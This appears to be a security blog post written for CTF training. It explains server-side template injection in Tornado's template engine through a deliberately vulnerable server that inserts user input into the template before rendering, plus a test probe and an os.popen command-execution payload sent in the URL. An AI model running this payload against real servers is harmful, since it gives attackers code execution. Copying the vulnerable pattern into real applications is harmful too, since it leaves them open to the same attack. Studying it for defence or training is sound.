Server Side Template Injection in Tornado

SSTI in tornado

Tornado is a great and easy to use Python web framework for developing dynamic web applications with ease. When it comes to PoC or CTF Challenge creation, tornado is my default choice. Today we will see how Server Side Template Injection (SSTI) can be achieved in Tornado using the default template engine provided with it. Server Side template injections are not a vulnerability in Frameworks. They appear due to insecure code. SSTI can cause the similar impact of a Remote Code Injection attack and results in code execution depending on the templating engine.

Modern web applications support templating, a technique that allows to load a file dynamically and render some data or evaluate expressions into certain points in the file and provide it back to the client.

A pseudo code example will be something like

Template: abc.html

<html>
 <head><title>Hello {{ name }}</title></head>
 <body>
 Hello FOO
 </body>
</html>

Application Code: server.py

name = request.GET['name']
template_data = open("abc.html").read()
template = Template.load(template_data)
response.write(template, name='World')

The response generated will be

<html>
 <head><title>Hello World</title></head>
 <body>
 Hello FOO
 </body>
</html>

Server Side Template Injection (SSTI) happens when untrusted user input is passed into template data before rendering is done.
For example the vulnerable application code will look like this

name = request.GET['name']
template_data = open("abc.html").read()
template_data = template_data.replace("FOO",name)
template = Template.load(template_data)
response.write(template, name='world')

This will result in arbitrary code execution and can end up in remote code execution depending on the templating engine. PortSwigger has put up a blog covering exploit/detection payloads for most of the templating engines like

  • Mako
  • Twig
  • Jade
  • Smarty
  • Jinja2
  • Freemaker
  • Velocity

You can read the blog post here : Server Side Template Injection

So I was trying to create a CTF related to SSTI for my Live training of WebSecNinja: Lesser known Web Attacks at Hack In Paris. Since the above mentioned template engines and the exploit payloads are well mentioned and easily available in the internet, I wanted  to try something different for the CTF. So I looked into various other templating engines like Django’s templating engine, Cheetah, Tornado’s template engine etc.
It turned out that tornado was a perfect candidate. I couldn’t find out a blog post or whitepaper explaining Server Side Template Injection in Tornado. After playing  with tornado’s template engine, I found that arbitrary code injection via SSTI is possible due to insecure code. This documentation on tornado templating helps a lot in creating an exploit payload.

These are the useful bit from the documentation to create a SSTI exploit for tornado.

{{   }} – Anything coming between {{ and }} are evaluated and send back to the output.

Example:
{{ "ajin" }} -> ajin
{{ 2*2 }} -> 4

{% import *module* %} – Allows you to import python modules.

Example:
{% import subprocess %}

That’s all we need to craft an exploit code.

{% import os %}{{ os.popen("whoami").read() }}

For the completeness of the post, let’s write a tornado application vulnerable to SSTI.

server.py

import tornado.template
import tornado.ioloop
import tornado.web
TEMPLATE = '''
<html>
 <head><title> Hello {{ name }} </title></head>
 <body> Hello FOO </body>
</html>
'''
class MainHandler(tornado.web.RequestHandler):

    def get(self):
        name = self.get_argument('name', '')
        template_data = TEMPLATE.replace("FOO",name)
        t = tornado.template.Template(template_data)
        self.write(t.generate(name=name))

application = tornado.web.Application([
    (r"/", MainHandler),
], debug=True, static_path=None, template_path=None)

if __name__ == '__main__':
    application.listen(8000)
    tornado.ioloop.IOLoop.instance().start()

Now run the server,
python server.py
and navigate to

http://localhost:8000/?name=ajin

server side template injection in tornado
You can see that data is getting dynamically substituted and coming back in the response.

Let’s try the basic test payload for SSTI. (Varies from templating framework)

http://localhost:8000/?name={{2*2}}

server side template injection in tornado

 

And finally the exploit payload

http://localhost:8000/?name={%import%20os%}{{os.popen(%22whoami%22).read()}}

server side template injection in tornado

And that’s all folks!

 

 

1 Comment

  1. John Richo July 3, 2016 at 1:34 pm #

    Wow, this is interesting, nice job. Its an eye opener!!!

    Reply

Leave a Reply

Time limit is exhausted. Please reload CAPTCHA.